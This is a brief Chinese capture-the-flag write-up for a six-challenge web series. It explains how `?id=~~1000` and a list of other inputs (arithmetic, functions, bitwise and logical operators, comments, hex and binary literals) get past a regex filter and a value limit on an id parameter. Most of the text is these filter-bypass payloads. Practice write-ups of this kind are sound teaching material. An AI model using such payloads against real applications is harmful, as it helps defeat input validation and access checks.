WEB1~6通杀
##解题思路
这六道题,通杀了,只因为是PHP的特性
来,看web6,过滤最复杂的正则,而且不能解析成大于999的值,但是,php是弱类型的语言,我只要输入任意字符+数字,最终值就为0,数字+任意字符,最终值为数字,数字1+字符+数字2,最终值为数字,一开始我以为是这样过滤的
但~是一个很特殊的操作符,按位非(bitwise NOT)操作符,当应用于整数时,它会反转该数字的二进制表示中的所有位,
这就很耐人寻味了,~~也就是翻转再翻转,也就是没翻转,但又绕过了所有的正则,直接通杀,?id=~~1000即可
题外
此外网传payload还有以下语句
利用运算:
?id=2*500
?id=500/0.5
利用函数:
?id=round(999.9)
?id=power(10,3)
利用逻辑:
?id=‘1000%’
?id=!!1000
?id=/**/1000
?id=~~1000
?id=0000|1000
?id=0000%5E1000
?id=‘1000’
利用进制:
?id=0x3E8
?id=0b1111101000